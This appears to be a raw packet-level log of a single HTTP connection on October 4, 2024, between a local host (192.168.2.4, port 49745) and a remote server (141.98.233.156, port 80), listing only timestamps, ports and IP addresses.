Oct 4, 2024 09:52:34.147841930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147875071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147891998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147907019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147922039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147938013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.147954941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.147970915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148003101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148016930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148035049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148047924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148066998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148082018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148098946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148128986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148149967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148160934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148180962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148191929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148212910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148232937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148363113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148395061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148418903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148426056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148442030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148457050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148471117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148488998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148514032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148520947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148545027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148552895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148566008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148585081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148597956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148617029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148648977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148668051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148679972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148699999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148710966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148732901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148744106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148752928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148775101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148782015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148807049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148823023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148838043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148854017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148874998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148906946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148926020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148937941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.148957014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.148989916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149281025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149312973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149343967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149364948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149375916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149395943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149406910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149429083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149435043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149447918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149461985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149476051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149478912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149490118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149506092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149518013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149519920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149534941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149538994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149549007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149560928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149574995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149575949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149590015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149604082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149612904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149619102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149631977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149636984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149646997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.149671078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.149705887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150187016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150202990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150217056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150230885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150233984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150243998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150259018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150260925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150273085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150288105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150299072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150302887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150317907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150320053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150338888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150352955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150358915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150367022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150392056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150417089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150615931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150630951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150645018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150660038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150671005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150675058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150690079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150705099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150726080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150758028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150782108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150798082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150811911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150825977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150839090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150845051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150860071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150873899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150873899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150888920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150897026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150902987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150917053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150917053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150930882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150945902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150954008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.150959969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150974035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150986910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.150990963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151001930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151015997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151016951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151041031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151061058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151648045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151663065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151676893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151690960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151705980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151709080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151720047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151735067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151743889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151748896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151762962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151765108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151777029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151792049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151799917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151806116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151820898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151837111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151837111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151850939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151855946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151865005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151875973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151879072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151895046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151907921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.151910067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.151951075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.174653053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.179996967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358522892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358591080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358620882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358728886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.358728886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.358728886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.358762980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358795881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358829021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358835936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.358835936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.358865023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358916044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358921051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.358948946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.358982086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359000921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359013081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359034061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359045982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359067917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359077930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359091043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359111071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359158993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359168053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359201908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359232903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359247923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359278917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359282970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359317064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359349012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359364033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359380960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359401941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359432936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359432936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359464884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359478951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359498978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359508038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359540939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359541893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359574080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359585047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359601021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359616995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359632015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359641075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359664917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359695911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359711885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359728098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359743118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359759092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359778881 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359793901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.359802008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.359857082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360044956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360076904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360114098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360141039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360146046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360166073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360178947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360200882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360209942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360224962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360241890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360256910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360272884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360289097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360305071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360320091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360336065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360351086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360368967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360383034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360399008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360430956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360449076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360449076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360466957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360476017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360518932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360557079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360594034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360625029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360645056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360655069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360675097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360687017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360707045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360718966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360734940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360764980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360816956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360851049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360879898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360882998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360901117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360914946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360920906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360948086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360960960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.360980034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.360991001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361011982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361042976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361061096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361074924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361090899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361105919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361124992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361138105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361146927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361172915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361206055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361229897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361232996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361262083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361263990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361293077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361295938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361314058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361326933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361332893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361365080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361381054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361397982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361430883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.361449957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.361485958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.384139061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.614670038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792270899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792315960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792346001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792351007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792376041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792385101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792387962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792423964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792473078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792505980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792516947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792536974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792548895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792568922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792570114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792598963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792608023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.792630911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792661905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.792670965 CEST	49745	80	192.168.2.4	141.98.233.156
